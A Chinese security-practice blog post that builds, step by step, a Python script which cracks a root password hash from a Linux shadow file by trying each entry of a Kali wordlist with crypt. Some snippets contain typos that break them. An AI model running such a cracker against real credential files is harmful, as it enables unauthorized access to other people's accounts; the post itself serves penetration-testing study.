爆破shadow文件密码脚本(完成版)

在之前的博客Python爆破shadow文件密码脚本(简化版)中我们做了简化版的爆破shadow文件密码的python脚本,接下来在之前代码的基础上改进:

python 复制代码
import crypt
shadow_line="root:$y$j9T$uEgezfJhn7Ov5naU8bzZt.$9qIqkWYObaXajS5iLDA43uFhdrtt4ZfbmiZjkZFYve2:18711:0:99999:7:::"
print(f"[+] The shadow line is {shadow_line}")

crypt_text=shadow_line.split(":")[1]
print(f"[+] The crypt text is {crypt_text}")

salt=crypt_text[0:crypt_text.rindex("$")]
print(f"[+] The salt is {salt}")

password="root"
new_crypt_text=crypt.crypt(password,salt)

if new_crypt_text == crypt_text:
	print(f"[+] password is {password}"")
else:
	print(f"[+] password not found!")

在kali中找到一个密码字典,查看它的绝对路径复制:

将代码中的password="123456"替换成下面代码

line.strip()函数首尾去空格

print(f"Trying password:")显示爆破的密码和过程

复制代码
flie_path="/home/kali/tools/wordlists/top_password.txt"
wirh open(file=file_path,mode="r") as f:
	for line in f:
		password = line.strip()
		print(f"Trying password:{password}")

由于添加了一个for循环,再稍作修改,让password not found!在for循环结束后输出,并给密码加上绿色醒目:

python 复制代码
from termcolor import colored
import crypt

shadow_line="root:$y$j9T$uEgezfJhn7Ov5naU8bzZt.$9qIqkWYObaXajS5iLDA43uFhdrtt4ZfbmiZjkZFYve2:18711:0:99999:7:::"
print(f"[+] The shadow line is {shadow_line}")

crypt_text=shadow_line.split(":")[1]
print(f"[+] The crypt text is {crypt_text}")

salt=crypt_text[0:crypt_text.rindex("$")]
print(f"[+] The salt is {salt}")

flie_path="/home/kali/tools/wordlists/top_password.txt"
with open(file=flie_path,mode="r") as f:
	for line in f:
		password = line.strip()
		print(f"\r[-] Trying password:{password}")
		
		new_crypt_text=crypt.crypt(password,salt)

		if new_crypt_text == crypt_text:
			print(colored(f"\n[+]password is {password}","green"))
			exit()

	print(f"[+] password not found!")

如图,爆破出密码为root:

相关推荐
C_心欲无痕10 分钟前
前端页面渲染方式:CSR、SSR、SSG
前端
果粒蹬i29 分钟前
生成式 AI 质量控制:幻觉抑制与 RLHF 对齐技术详解
前端·人工智能·easyui
WordPress学习笔记1 小时前
解决Bootstrap下拉菜单一级链接无法点击的问题
前端·bootstrap·html
Never_Satisfied2 小时前
C#插值字符串中大括号表示方法
前端·c#
踢球的打工仔2 小时前
typescript-类
前端·javascript·typescript
天天打码2 小时前
Svelte-无虚拟DOM、极致性能的现代高性能Web开发框架!
前端·node.js·vue·svelte
0思必得02 小时前
[Web自动化] Selenium元素定位
前端·python·selenium·自动化·html
EEEzhenliang3 小时前
CSS知识概括、总结
前端·css
大阳光男孩3 小时前
ElementUI表格懒加载子级更新数据刷新不生效问题
前端·javascript·elementui
wy3136228213 小时前
C#——意框架(结构说明)
前端·javascript·c#